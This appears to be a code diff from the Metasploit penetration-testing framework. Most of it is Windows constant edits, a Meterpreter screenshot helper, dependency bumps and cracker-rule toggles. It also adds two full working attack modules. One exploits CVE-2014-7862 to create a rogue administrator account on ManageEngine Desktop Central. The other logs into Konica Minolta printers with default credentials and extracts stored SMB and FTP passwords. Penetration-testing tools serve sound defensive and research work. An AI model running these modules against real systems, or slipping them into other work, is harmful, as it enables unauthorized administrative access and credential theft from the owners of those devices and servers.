win_const_mgr.add_const('HHWIN_PROP_ONTOP',0x00000001) win_const_mgr.add_const('HHWIN_PROP_ONTOP',0x00000001)
win_const_mgr.add_const('SERVICE_PAUSED',0x00000007)
win_const_mgr.add_const('ICEE_CREATE_FILE_PE32',0x00000001) win_const_mgr.add_const('ICEE_CREATE_FILE_PE32',0x00000001)
win_const_mgr.add_const('CSIDL_PRINTERS',0x00000004) win_const_mgr.add_const('CSIDL_PRINTERS',0x00000004)
win_const_mgr.add_const('LINEBEARERMODE_MULTIUSE',0x00000004) win_const_mgr.add_const('LINEBEARERMODE_MULTIUSE',0x00000004)
@ -24628,7 +24664,6 @@ class ApiConstants
win_const_mgr.add_const('POSTSCRIPT_DATA',0x00000025) win_const_mgr.add_const('POSTSCRIPT_DATA',0x00000025)
win_const_mgr.add_const('MCIWNDF_NOMENU',0x00000008) win_const_mgr.add_const('MCIWNDF_NOMENU',0x00000008)
win_const_mgr.add_const('OID_CO_TAPI_TRANSLATE_NDIS_CALLPARAMS',0xFE001005) win_const_mgr.add_const('OID_CO_TAPI_TRANSLATE_NDIS_CALLPARAMS',0xFE001005)
win_const_mgr.add_const('SERVICE_USER_DEFINED_CONTROL',0x00000100)
win_const_mgr.add_const('JIFMK_FF',0x0000FFFF) win_const_mgr.add_const('JIFMK_FF',0x0000FFFF)
win_const_mgr.add_const('DFCS_HOT',0x00001000) win_const_mgr.add_const('DFCS_HOT',0x00001000)
win_const_mgr.add_const('SI_CONTAINER',0x00000004) win_const_mgr.add_const('SI_CONTAINER',0x00000004)
@ -25917,7 +25952,6 @@ class ApiConstants
win_const_mgr.add_const('TOKEN_ADJUST_PRIVILEGES',0x00000020) win_const_mgr.add_const('TOKEN_ADJUST_PRIVILEGES',0x00000020)
win_const_mgr.add_const('CRL_REASON_UNSPECIFIED',0x00000000) win_const_mgr.add_const('CRL_REASON_UNSPECIFIED',0x00000000)
win_const_mgr.add_const('SERVICE_STOP_REASON_MINOR_MIN',0x00000000) win_const_mgr.add_const('SERVICE_STOP_REASON_MINOR_MIN',0x00000000)
win_const_mgr.add_const('SERVICE_PAUSE_CONTINUE',0x00000040)
win_const_mgr.add_const('RPC_C_QOS_CAPABILITIES_SCHANNEL_FULL_AUTH_IDENTITY',0x00000020) win_const_mgr.add_const('RPC_C_QOS_CAPABILITIES_SCHANNEL_FULL_AUTH_IDENTITY',0x00000020)
win_const_mgr.add_const('FEI_SENDING',0x00000002) win_const_mgr.add_const('FEI_SENDING',0x00000002)
win_const_mgr.add_const('DOF_PROGMAN',0x00000001) win_const_mgr.add_const('DOF_PROGMAN',0x00000001)
@ -29144,7 +29178,6 @@ class ApiConstants
win_const_mgr.add_const('DS_FORCE_REDISCOVERY',0x00000001) win_const_mgr.add_const('DS_FORCE_REDISCOVERY',0x00000001)
win_const_mgr.add_const('PDH_INVALID_INSTANCE',0xC0000BC5) win_const_mgr.add_const('PDH_INVALID_INSTANCE',0xC0000BC5)
win_const_mgr.add_const('LOCALSTATE_POLICYREMOVE_UNINSTALL',0x00000010) win_const_mgr.add_const('LOCALSTATE_POLICYREMOVE_UNINSTALL',0x00000010)
win_const_mgr.add_const('SERVICE_STOP_PENDING',0x00000003)
win_const_mgr.add_const('PS_JOIN_BEVEL',0x00001000) win_const_mgr.add_const('PS_JOIN_BEVEL',0x00001000)
win_const_mgr.add_const('MFE_PRUNED_UPSTREAM',0x00000004) win_const_mgr.add_const('MFE_PRUNED_UPSTREAM',0x00000004)
win_const_mgr.add_const('TMT_BTNTEXT',0x00000653) win_const_mgr.add_const('TMT_BTNTEXT',0x00000653)
@ -30370,7 +30403,6 @@ class ApiConstants
win_const_mgr.add_const('VK_DBE_NOROMAN',0x00000000) win_const_mgr.add_const('VK_DBE_NOROMAN',0x00000000)
win_const_mgr.add_const('DNS_TYPE_CNAME',0x00000005) win_const_mgr.add_const('DNS_TYPE_CNAME',0x00000005)
win_const_mgr.add_const('PID_IS_WORKINGDIR',0x00000005) win_const_mgr.add_const('PID_IS_WORKINGDIR',0x00000005)
win_const_mgr.add_const('SC_MANAGER_QUERY_LOCK_STATUS',0x00000010)
win_const_mgr.add_const('APPCOMMAND_MEDIA_PLAY_PAUSE',0x0000000E) win_const_mgr.add_const('APPCOMMAND_MEDIA_PLAY_PAUSE',0x0000000E)
win_const_mgr.add_const('MCI_ANIM_PLAY_SCAN',0x00100000) win_const_mgr.add_const('MCI_ANIM_PLAY_SCAN',0x00100000)
win_const_mgr.add_const('NOTIFY_CLASS_REGISTRY_CHANGE',0x00000004) win_const_mgr.add_const('NOTIFY_CLASS_REGISTRY_CHANGE',0x00000004)
@ -32077,7 +32109,6 @@ class ApiConstants
win_const_mgr.add_const('RPC_S_SEC_PKG_ERROR',0x00000721) win_const_mgr.add_const('RPC_S_SEC_PKG_ERROR',0x00000721)
win_const_mgr.add_const('IPPORT_ECHO',0x00000007) win_const_mgr.add_const('IPPORT_ECHO',0x00000007)
win_const_mgr.add_const('APPSTATUS_STOPPED',0x00000000) win_const_mgr.add_const('APPSTATUS_STOPPED',0x00000000)
win_const_mgr.add_const('SERVICE_QUERY_STATUS',0x00000004)
win_const_mgr.add_const('WMDM_DEVICECAP_CANPAUSE',0x00000010) win_const_mgr.add_const('WMDM_DEVICECAP_CANPAUSE',0x00000010)
win_const_mgr.add_const('PSP_USEFUSIONCONTEXT',0x00004000) win_const_mgr.add_const('PSP_USEFUSIONCONTEXT',0x00004000)
win_const_mgr.add_const('SUBSCRIPTION_CAP_IS_CONTENTPARTNER',0x00000040) win_const_mgr.add_const('SUBSCRIPTION_CAP_IS_CONTENTPARTNER',0x00000040)
@ -33167,7 +33198,6 @@ class ApiConstants
win_const_mgr.add_const('DISPID_CUSTOMIZESETTINGS',0x00000011) win_const_mgr.add_const('DISPID_CUSTOMIZESETTINGS',0x00000011)
win_const_mgr.add_const('IMAGE_REL_I386_SECREL',0x0000000B) win_const_mgr.add_const('IMAGE_REL_I386_SECREL',0x0000000B)
win_const_mgr.add_const('IF_TYPE_VOICE_FXS',0x00000066) win_const_mgr.add_const('IF_TYPE_VOICE_FXS',0x00000066)
win_const_mgr.add_const('WRITE_OWNER',0x00080000)
win_const_mgr.add_const('CALLBACK_FUNCTION',0x00030000) win_const_mgr.add_const('CALLBACK_FUNCTION',0x00030000)
win_const_mgr.add_const('CRYPT_MODE_CTS',0x00000005) win_const_mgr.add_const('CRYPT_MODE_CTS',0x00000005)
win_const_mgr.add_const('PAN_STROKEVARIATION_INDEX',0x00000005) win_const_mgr.add_const('PAN_STROKEVARIATION_INDEX',0x00000005)
@ -34303,7 +34333,6 @@ class ApiConstants
win_const_mgr.add_const('DDPCAPS_1BIT',0x00000100) win_const_mgr.add_const('DDPCAPS_1BIT',0x00000100)
win_const_mgr.add_const('INADDR_LOOPBACK',0x00000007) win_const_mgr.add_const('INADDR_LOOPBACK',0x00000007)
win_const_mgr.add_const('HTTP_QUERY_SERVER',0x00000025) win_const_mgr.add_const('HTTP_QUERY_SERVER',0x00000025)
win_const_mgr.add_const('GENERIC_READ',0x80000000)
win_const_mgr.add_const('DSBI_EXPANDONOPEN',0x00040000) win_const_mgr.add_const('DSBI_EXPANDONOPEN',0x00040000)
win_const_mgr.add_const('D3DUSAGE_DYNAMIC',0x00000200) win_const_mgr.add_const('D3DUSAGE_DYNAMIC',0x00000200)
win_const_mgr.add_const('MIN_PST_ERROR',0x800C0001) win_const_mgr.add_const('MIN_PST_ERROR',0x800C0001)
@ -36254,7 +36283,6 @@ class ApiConstants
win_const_mgr.add_const('DBFLAGS_MULTITHREADTRANSACTIONS',0x00000200) win_const_mgr.add_const('DBFLAGS_MULTITHREADTRANSACTIONS',0x00000200)
win_const_mgr.add_const('ERROR_DBG_RIPEXCEPTION',0x000002B7) win_const_mgr.add_const('ERROR_DBG_RIPEXCEPTION',0x000002B7)
win_const_mgr.add_const('KSALLOCATOR_FLAG_NO_FRAME_INTEGRITY',0x00000100) win_const_mgr.add_const('KSALLOCATOR_FLAG_NO_FRAME_INTEGRITY',0x00000100)
win_const_mgr.add_const('SC_MANAGER_MODIFY_BOOT_CONFIG',0x00000020)
win_const_mgr.add_const('PBT_APMPOWERSTATUSCHANGE',0x0000000A) win_const_mgr.add_const('PBT_APMPOWERSTATUSCHANGE',0x0000000A)
win_const_mgr.add_const('IDM_TRIED_INSERTTABLE',0x00000016) win_const_mgr.add_const('IDM_TRIED_INSERTTABLE',0x00000016)
win_const_mgr.add_const('IMC_OPENSTATUSWINDOW',0x00000022) win_const_mgr.add_const('IMC_OPENSTATUSWINDOW',0x00000022)
@ -38107,7 +38135,6 @@ class ApiConstants
win_const_mgr.add_const('TIME_STAMP_CAPABLE',0x00000020) win_const_mgr.add_const('TIME_STAMP_CAPABLE',0x00000020)
win_const_mgr.add_const('WIA_IPA_ITEM_CATEGORY',0x0000101D) win_const_mgr.add_const('WIA_IPA_ITEM_CATEGORY',0x0000101D)
win_const_mgr.add_const('DNS_UPDATE_SECURITY_OFF',0x00000010) win_const_mgr.add_const('DNS_UPDATE_SECURITY_OFF',0x00000010)
win_const_mgr.add_const('SERVICE_KERNEL_DRIVER',0x00000001)
win_const_mgr.add_const('HANDLE_PARAM_IS_IN',0x00000040) win_const_mgr.add_const('HANDLE_PARAM_IS_IN',0x00000040)
win_const_mgr.add_const('IF_CHECK_SEND',0x00000002) win_const_mgr.add_const('IF_CHECK_SEND',0x00000002)
win_const_mgr.add_const('MSV1_0_ALLOW_WORKSTATION_TRUST_ACCOUNT',0x00000800) win_const_mgr.add_const('MSV1_0_ALLOW_WORKSTATION_TRUST_ACCOUNT',0x00000800)

View File

@ -154,37 +154,43 @@ class UI < Rex::Post::UI
def screenshot( quality=50 ) def screenshot( quality=50 )
request = Packet.create_request( 'stdapi_ui_desktop_screenshot' ) request = Packet.create_request( 'stdapi_ui_desktop_screenshot' )
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality ) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )
# include the x64 screenshot dll if the host OS is x64 # include the x64 screenshot dll if the host OS is x64
if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ ) if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll') screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll')
if screenshot_path.nil? if screenshot_path.nil?
raise RuntimeError, "screenshot.x64.dll not found", caller raise RuntimeError, "screenshot.x64.dll not found", caller
end end
screenshot_path = ::File.expand_path( screenshot_path )
screenshot_dll = '' screenshot_dll = ''
::File.open( screenshot_path, 'rb' ) do |f| ::File.open( screenshot_path, 'rb' ) do |f|
screenshot_dll += f.read( f.stat.size ) screenshot_dll += f.read( f.stat.size )
end end
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true ) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true )
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length ) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length )
end end
# but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64 # but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll') screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll')
if screenshot_path.nil? if screenshot_path.nil?
raise RuntimeError, "screenshot.x86.dll not found", caller raise RuntimeError, "screenshot.x86.dll not found", caller
end end
screenshot_path = ::File.expand_path( screenshot_path )
screenshot_dll = '' screenshot_dll = ''
::File.open( screenshot_path, 'rb' ) do |f| ::File.open( screenshot_path, 'rb' ) do |f|
screenshot_dll += f.read( f.stat.size ) screenshot_dll += f.read( f.stat.size )
end end
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true ) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true )
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH, screenshot_dll.length ) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH, screenshot_dll.length )
# send the request and return the jpeg image if successfull. # send the request and return the jpeg image if successfull.
response = client.send_request( request ) response = client.send_request( request )
if( response.result == 0 ) if( response.result == 0 )
return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT ) return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT )
end end
return nil return nil
end end

View File

@ -86,7 +86,7 @@ class Client
typ = self.config_types[var] || 'string' typ = self.config_types[var] || 'string'
# These are enum types # These are enum types
if(typ.class.to_s == 'Array') if typ.is_a?(Array)
if not typ.include?(val) if not typ.include?(val)
raise RuntimeError, "The specified value for #{var} is not one of the valid choices" raise RuntimeError, "The specified value for #{var} is not one of the valid choices"
end end
@ -719,4 +719,3 @@ end
end end
end end
end end

View File

@ -29,7 +29,7 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION
# Metasploit::Credential database models # Metasploit::Credential database models
spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.8' spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.11'
# Database models shared between framework and Pro. # Database models shared between framework and Pro.
spec.add_runtime_dependency 'metasploit_data_models', '~> 0.21.3' spec.add_runtime_dependency 'metasploit_data_models', '~> 0.21.3'
# depend on metasploit-framewrok as the optional gems are useless with the actual code # depend on metasploit-framewrok as the optional gems are useless with the actual code

View File

@ -64,7 +64,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database # are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '~> 0.28.0' spec.add_runtime_dependency 'metasploit-model', '~> 0.28.0'
# Needed for Meterpreter on Windows, soon others. # Needed for Meterpreter on Windows, soon others.
spec.add_runtime_dependency 'meterpreter_bins', '0.0.12' spec.add_runtime_dependency 'meterpreter_bins', '0.0.13'
# Needed by msfgui and other rpc components # Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack' spec.add_runtime_dependency 'msgpack'
# Needed by anemone crawler # Needed by anemone crawler

View File

@ -0,0 +1,97 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'ManageEngine Desktop Central Administrator Account Creation',
'Description' => %q{
This module exploits an administrator account creation vulnerability in Desktop Central
from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in
several versions of Desktop Central (including MSP) from v7 onwards.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-7862'],
['OSVDB', '116554'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_dc9_admin.txt'],
['URL', 'http://seclists.org/fulldisclosure/2015/Jan/2']
],
'DisclosureDate' => 'Dec 31 2014'))
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 8020]),
OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']),
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
], self.class)
end
def run
# Generate password hash
salt = Time.now.to_i.to_s
password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*'))
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/servlets/DCPluginServelet"),
'method' =>'GET',
'vars_get' => {
'action' => 'addPlugInUser',
'role' => 'DCAdmin',
'userName' => datastore['USERNAME'],
'email' => datastore['EMAIL'],
'phNumber' => Rex::Text.rand_text_numeric(6),
'password' => password_encoded,
'salt' => salt,
'createdtime' => salt
}
})
# Yes, "sucess" is really mispelt, as is "Servelet" ... !
unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/
print_error("#{peer} - Administrator account creation failed")
end
print_good("#{peer} - Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
service_data = {
address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: datastore['PASSWORD'],
username: datastore['USERNAME']
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
access_level: 'Administrator',
status: Metasploit::Model::Login::Status::UNTRIED
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end

View File

@ -44,27 +44,28 @@ class Metasploit3 < Msf::Auxiliary
print_status("Starting brute force on #{datastore['RHOST']}:#{datastore['RPORT']}...") print_status("Starting brute force on #{datastore['RHOST']}:#{datastore['RPORT']}...")
fd = CSV.foreach(list) do |brute| fd = CSV.foreach(list) do |brute|
datastore['DBUSER'] = brute[2].downcase
datastore['DBPASS'] = brute[3].downcase
datastore['DBUSER'] = brute[2].downcase begin
datastore['DBPASS'] = brute[3].downcase connect
disconnect
begin rescue ::OCIError => e
connect if e.to_s =~ /^ORA-12170:\s/
disconnect print_error("#{datastore['RHOST']}:#{datastore['RPORT']} Connection timed out")
rescue ::OCIError => e break
end
else else
if (not e) report_auth_info(
report_auth_info(
:host => "#{datastore['RHOST']}", :host => "#{datastore['RHOST']}",
:port => "#{datastore['RPORT']}", :port => "#{datastore['RPORT']}",
:sname => 'oracle', :sname => 'oracle',
:user => "#{datastore['SID']}/#{datastore['DBUSER']}", :user => "#{datastore['SID']}/#{datastore['DBUSER']}",
:pass => "#{datastore['DBPASS']}", :pass => "#{datastore['DBPASS']}",
:active => true :active => true
) )
print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}") print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}")
end end
end
end end
end end
end end

View File

@ -43,6 +43,11 @@ class Metasploit3 < Msf::Auxiliary
cracker_instance = cracker.dup cracker_instance = cracker.dup
cracker_instance.format = format cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..." print_status "Cracking #{format} hashes in normal wordlist mode..."
# Turn on KoreLogic rules if the user asked for it
if datastore['KoreLogic']
cracker_instance.rules = 'KoreLogicRules'
print_status "Applying KoreLogic ruleset..."
end
cracker_instance.crack do |line| cracker_instance.crack do |line|
print_status line.chomp print_status line.chomp
end end

View File

@ -42,6 +42,11 @@ class Metasploit3 < Msf::Auxiliary
cracker_instance = cracker.dup cracker_instance = cracker.dup
cracker_instance.format = format cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..." print_status "Cracking #{format} hashes in normal wordlist mode..."
# Turn on KoreLogic rules if the user asked for it
if datastore['KoreLogic']
cracker_instance.rules = 'KoreLogicRules'
print_status "Applying KoreLogic ruleset..."
end
cracker_instance.crack do |line| cracker_instance.crack do |line|
print_status line.chomp print_status line.chomp
end end

View File

@ -57,6 +57,11 @@ class Metasploit3 < Msf::Auxiliary
cracker_instance = cracker.dup cracker_instance = cracker.dup
cracker_instance.format = format cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..." print_status "Cracking #{format} hashes in normal wordlist mode..."
# Turn on KoreLogic rules if the user asked for it
if datastore['KoreLogic']
cracker_instance.rules = 'KoreLogicRules'
print_status "Applying KoreLogic ruleset..."
end
cracker_instance.crack do |line| cracker_instance.crack do |line|
print_status line.chomp print_status line.chomp
end end

View File

@ -44,6 +44,11 @@ class Metasploit3 < Msf::Auxiliary
cracker_instance = cracker.dup cracker_instance = cracker.dup
cracker_instance.format = format cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..." print_status "Cracking #{format} hashes in normal wordlist mode..."
# Turn on KoreLogic rules if the user asked for it
if datastore['KoreLogic']
cracker_instance.rules = 'KoreLogicRules'
print_status "Applying KoreLogic ruleset..."
end
cracker_instance.crack do |line| cracker_instance.crack do |line|
print_status line.chomp print_status line.chomp
end end

View File

@ -42,6 +42,11 @@ class Metasploit3 < Msf::Auxiliary
cracker_instance = cracker.dup cracker_instance = cracker.dup
cracker_instance.format = format cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..." print_status "Cracking #{format} hashes in normal wordlist mode..."
# Turn on KoreLogic rules if the user asked for it
if datastore['KoreLogic']
cracker_instance.rules = 'KoreLogicRules'
print_status "Applying KoreLogic ruleset..."
end
cracker_instance.crack do |line| cracker_instance.crack do |line|
print_status line.chomp print_status line.chomp
end end

View File

@ -48,6 +48,11 @@ class Metasploit3 < Msf::Auxiliary
cracker_instance = cracker.dup cracker_instance = cracker.dup
cracker_instance.format = format cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..." print_status "Cracking #{format} hashes in normal wordlist mode..."
# Turn on KoreLogic rules if the user asked for it
if datastore['KoreLogic']
cracker_instance.rules = 'KoreLogicRules'
print_status "Applying KoreLogic ruleset..."
end
cracker_instance.crack do |line| cracker_instance.crack do |line|
print_status line.chomp print_status line.chomp
end end

View File

@ -0,0 +1,258 @@
#
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/http'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Konica Minolta Password Extractor',
'Description' => %q(
This module will extract FTP and SMB account usernames and passwords
from Konica Minolta mfp devices. Tested models include: C224, C280,
283, C353, C360, 363, 420, C452,C452, C452, C454e, C554 ),
'Author' =>
[
'Deral "Percentx" Heiland',
'Pete "Bokojan" Arzamendi'
],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT('50001'),
OptString.new('USER', [false, 'The default Admin user', 'Admin']),
OptString.new('PASSWD', [true, 'The default Admin password', '12345678']),
OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])
], self.class)
end
# Creates the XML data to be sent that will extract AuthKey
def generate_authkey_request_xlm(major, minor)
user = datastore['USER']
passwd = datastore['PASSWD']
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
}
}
xml.send('SOAP-ENV:Body') {
xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('UserType') { xml.text "#{user}" }
xml.send('Password') { xml.text "#{passwd}" }
}
xml.send('TimeOut') { xml.text '60' }
}
}
}
end
end
# Create XML data that will be sent to extract SMB and FTP passwords from device
def generate_pwd_request_xlm(major, minor, authkey)
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' }
}
}
xml.send('SOAP-ENV:Body'){
xml.send('AppReqGetAbbr', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('AuthKey') { xml.text "#{authkey}" }
}
xml.send('AbbrListCondition'){
xml.send('SearchKey') { xml.text 'None' }
xml.send('WellUse') { xml.text 'false' }
xml.send('ObtainCondition'){
xml.send('Type') { xml.text 'OffsetList' }
xml.send('OffsetRange'){
xml.send('Start') { xml.text '1' }
xml.send('Length') { xml.text '100' }
}
}
xml.send('BackUp') { xml.text 'true' }
xml.send('BackUpPassword') { xml.text 'MYSKIMGS' }
}
}
}
}
end
end
# This next section will post the XML soap messages for information gathering.
def run_host(ip)
print_status("Attempting to extract username and password from the host at #{peer}")
version
end
# Validate XML Major Minor version
def version
response = send_request_cgi(
{
'uri' => '/',
'method' => 'POST',
'data' => '<SOAP-ENV:Envelope></SOAP-ENV:Envelope>'
}, datastore['TIMEOUT'].to_i)
if response.nil?
print_error("#{peer} - No reponse from device")
return
else
xml0_body = ::Nokogiri::XML(response.body)
major_parse = xml0_body.xpath('//Major').text
minor_parse = xml0_body.xpath('//Minor').text
major = ("#{major_parse}")
minor = ("#{minor_parse}")
login(major, minor)
end
rescue ::Rex::ConnectionError
print_error("#{peer} - Version check Connection failed.")
end
# This section logs on and retrieves AuthKey token
def login(major, minor)
authreq_xml = generate_authkey_request_xlm(major, minor)
# Send post request with crafted XML to login and retreive AuthKey
begin
response = send_request_cgi(
{
'uri' => '/',
'method' => 'POST',
'data' => authreq_xml.to_xml
}, datastore['TIMEOUT'].to_i)
if response.nil?
print_error("#{peer} - No reponse from device")
return
else
xml1_body = ::Nokogiri::XML(response.body)
authkey_parse = xml1_body.xpath('//AuthKey').text
authkey = ("#{authkey_parse}")
extract(major, minor, authkey)
end
rescue ::Rex::ConnectionError
print_error("#{peer} - Login Connection failed.")
end
end
# This section post xml soap message that will extract usernames and passwords
def extract(major, minor, authkey)
if (authkey != '')
# create xml request to extract user credintial settings
smbreq_xml = generate_pwd_request_xlm(major, minor, authkey)
# Send post request with crafted XML as data
begin
response = send_request_cgi(
{
'uri' => '/',
'method' => 'POST',
'data' => smbreq_xml.to_xml
}, datastore['TIMEOUT'].to_i)
if response.nil?
print_error("#{peer} - No reponse from device")
return
else
xml2_body = ::Nokogiri::XML(response.body)
@smb_user = xml2_body.xpath('//SmbMode/User').map { |val1| val1.text }
@smb_pass = xml2_body.xpath('//SmbMode/Password').map { |val2| val2.text }
@smb_host = xml2_body.xpath('//SmbMode/Host').map { |val3| val3.text }
@ftp_user = xml2_body.xpath('//FtpServerMode/User').map { |val4| val4.text }
@ftp_pass = xml2_body.xpath('//FtpServerMode/Password').map { |val5| val5.text }
@ftp_host = xml2_body.xpath('//FtpServerMode/Address').map { |val6| val6.text }
@ftp_port = xml2_body.xpath('//FtpServerMode/PortNo').map { |val6| val6.text }
end
end
i = 0
# output SMB data
@smb_user.each do
shost = "#{@smb_host[i]}"
sname = "#{@smb_user[i]}"
sword = "#{@smb_pass[i]}"
print_good("SMB Account:User=#{sname}:Password=#{sword}:Host=#{shost}:Port=139")
register_creds('smb', shost, '139', sname, sword)
i += 1
end
i = 0
# output FTP data
@ftp_user.each do
fhost = "#{@ftp_host[i]}"
fname = "#{@ftp_user[i]}"
fword = "#{@ftp_pass[i]}"
fport = "#{@ftp_port[i]}"
print_good("FTP Account:User=#{fname}:Password=#{fword}:Host=#{fhost}:Port=#{fport}")
register_creds('ftp', fhost, fport, fname, fword)
i += 1
end
else
print_status('No AuthKey returned possible causes Authentication failed or unsupported Konica model')
return
end
end
def register_creds(service_name, remote_host, remote_port, username, password)
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
workspace_id: myworkspace.id,
private_data: password,
private_type: :password,
username: username
}
service_data = {
address: remote_host,
port: remote_port,
service_name: service_name,
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED,
workspace_id: myworkspace_id
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end

View File

@ -188,7 +188,7 @@ class Metasploit3 < Msf::Auxiliary
end end
else else
next if (res.code == 500 or res.code == 404 or res.code == 302) next if (res.code == 500 or res.code == 404 or res.code == 302)
print_error("#{ip} #{res.inspect}") print_error("#{ip} #{res.to_s}")
end end
end end

View File

@ -124,11 +124,11 @@ class Metasploit3 < Msf::Auxiliary
end end
end end
